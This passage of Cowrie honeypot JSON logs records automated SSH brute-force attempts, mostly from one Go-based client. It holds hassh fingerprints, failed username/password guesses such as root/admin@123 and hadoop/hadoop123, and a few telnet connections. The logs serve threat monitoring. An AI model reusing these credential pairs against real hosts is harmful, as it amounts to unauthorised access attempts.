0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:50:26.035191Z","src_ip":"192.109.200.78","session":"d3075c257963","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"support","password":"support","message":"login attempt [support/support] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:50:26.341862Z","src_ip":"192.109.200.78","session":"d3075c257963","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:50:27.461519Z","src_ip":"192.109.200.78","session":"d3075c257963","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":53800,"dst_ip":"10.17.0.5","dst_port":22,"session":"91b34d8b5e5a","protocol":"ssh","message":"New connection: 192.109.200.78:53800 (10.17.0.5:22) [session: 91b34d8b5e5a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:50:29.409127Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:50:29.413785Z","src_ip":"192.109.200.78","session":"91b34d8b5e5a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:50:29.617605Z","src_ip":"192.109.200.78","session":"91b34d8b5e5a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"adminuser","password":"adminuser","message":"login attempt [adminuser/adminuser] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:50:29.967762Z","src_ip":"192.109.200.78","session":"91b34d8b5e5a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:50:31.051907Z","src_ip":"192.109.200.78","session":"91b34d8b5e5a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":33256,"dst_ip":"10.17.0.5","dst_port":22,"session":"30edfa1434ee","protocol":"ssh","message":"New connection: 192.109.200.78:33256 (10.17.0.5:22) [session: 30edfa1434ee]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:50:33.050847Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:50:33.058553Z","src_ip":"192.109.200.78","session":"30edfa1434ee","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:50:33.141559Z","src_ip":"192.109.200.78","session":"30edfa1434ee","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"deployer","password":"dev","message":"login attempt [deployer/dev] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:50:33.387843Z","src_ip":"192.109.200.78","session":"30edfa1434ee","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:50:34.471464Z","src_ip":"192.109.200.78","session":"30edfa1434ee","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":33264,"dst_ip":"10.17.0.5","dst_port":22,"session":"9cefa70082b4","protocol":"ssh","message":"New connection: 192.109.200.78:33264 (10.17.0.5:22) [session: 9cefa70082b4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:50:36.846431Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:50:36.851108Z","src_ip":"192.109.200.78","session":"9cefa70082b4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:50:36.932819Z","src_ip":"192.109.200.78","session":"9cefa70082b4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"gabriel","password":"123321","message":"login attempt [gabriel/123321] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:50:37.178446Z","src_ip":"192.109.200.78","session":"9cefa70082b4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:50:38.262841Z","src_ip":"192.109.200.78","session":"9cefa70082b4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":33292,"dst_ip":"10.17.0.5","dst_port":22,"session":"244b6b21c59d","protocol":"ssh","message":"New connection: 192.109.200.78:33292 (10.17.0.5:22) [session: 244b6b21c59d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:50:40.306110Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:50:40.313873Z","src_ip":"192.109.200.78","session":"244b6b21c59d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:50:40.394961Z","src_ip":"192.109.200.78","session":"244b6b21c59d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"hadoop","password":"hadoop123","message":"login attempt [hadoop/hadoop123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:50:40.639070Z","src_ip":"192.109.200.78","session":"244b6b21c59d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:50:41.723719Z","src_ip":"192.109.200.78","session":"244b6b21c59d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":48468,"dst_ip":"10.17.0.5","dst_port":22,"session":"7dcdfa18da6d","protocol":"ssh","message":"New connection: 192.109.200.78:48468 (10.17.0.5:22) [session: 7dcdfa18da6d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:50:43.945579Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:50:43.951300Z","src_ip":"192.109.200.78","session":"7dcdfa18da6d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:50:44.032777Z","src_ip":"192.109.200.78","session":"7dcdfa18da6d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"bot","password":"abc123","message":"login attempt [bot/abc123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:50:44.278182Z","src_ip":"192.109.200.78","session":"7dcdfa18da6d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:50:45.491062Z","src_ip":"192.109.200.78","session":"7dcdfa18da6d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":99.81735754013062,"message":"Connection lost after 99 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:50:46.959846Z","src_ip":"94.23.66.112","session":"00f81e8edb18","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":48474,"dst_ip":"10.17.0.5","dst_port":22,"session":"335fb88b02d4","protocol":"ssh","message":"New connection: 192.109.200.78:48474 (10.17.0.5:22) [session: 335fb88b02d4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:50:47.623950Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:50:47.627907Z","src_ip":"192.109.200.78","session":"335fb88b02d4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:50:47.709139Z","src_ip":"192.109.200.78","session":"335fb88b02d4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"prem","password":"12345","message":"login attempt [prem/12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:50:47.955540Z","src_ip":"192.109.200.78","session":"335fb88b02d4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:50:49.040594Z","src_ip":"192.109.200.78","session":"335fb88b02d4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":48482,"dst_ip":"10.17.0.5","dst_port":22,"session":"c28a73475334","protocol":"ssh","message":"New connection: 192.109.200.78:48482 (10.17.0.5:22) [session: c28a73475334]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:50:51.086918Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:50:51.090831Z","src_ip":"192.109.200.78","session":"c28a73475334","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:50:51.172229Z","src_ip":"192.109.200.78","session":"c28a73475334","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"debian","password":"12345","message":"login attempt [debian/12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:50:51.416368Z","src_ip":"192.109.200.78","session":"c28a73475334","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:50:52.505431Z","src_ip":"192.109.200.78","session":"c28a73475334","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.81.62.90","src_port":49038,"dst_ip":"10.17.0.5","dst_port":23,"session":"535925d653c3","protocol":"telnet","message":"New connection: 172.81.62.90:49038 (10.17.0.5:23) [session: 535925d653c3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:50:52.978119Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":60170,"dst_ip":"10.17.0.5","dst_port":22,"session":"2b8f119967e0","protocol":"ssh","message":"New connection: 192.109.200.78:60170 (10.17.0.5:22) [session: 2b8f119967e0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:50:54.935261Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:50:54.939593Z","src_ip":"192.109.200.78","session":"2b8f119967e0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:50:55.022557Z","src_ip":"192.109.200.78","session":"2b8f119967e0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"admin@123","message":"login attempt [root/admin@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:50:55.270415Z","src_ip":"192.109.200.78","session":"2b8f119967e0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.81.62.90","src_port":34844,"dst_ip":"10.17.0.5","dst_port":23,"session":"db6f92ee37f4","protocol":"telnet","message":"New connection: 172.81.62.90:34844 (10.17.0.5:23) [session: db6f92ee37f4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:50:55.997407Z"}
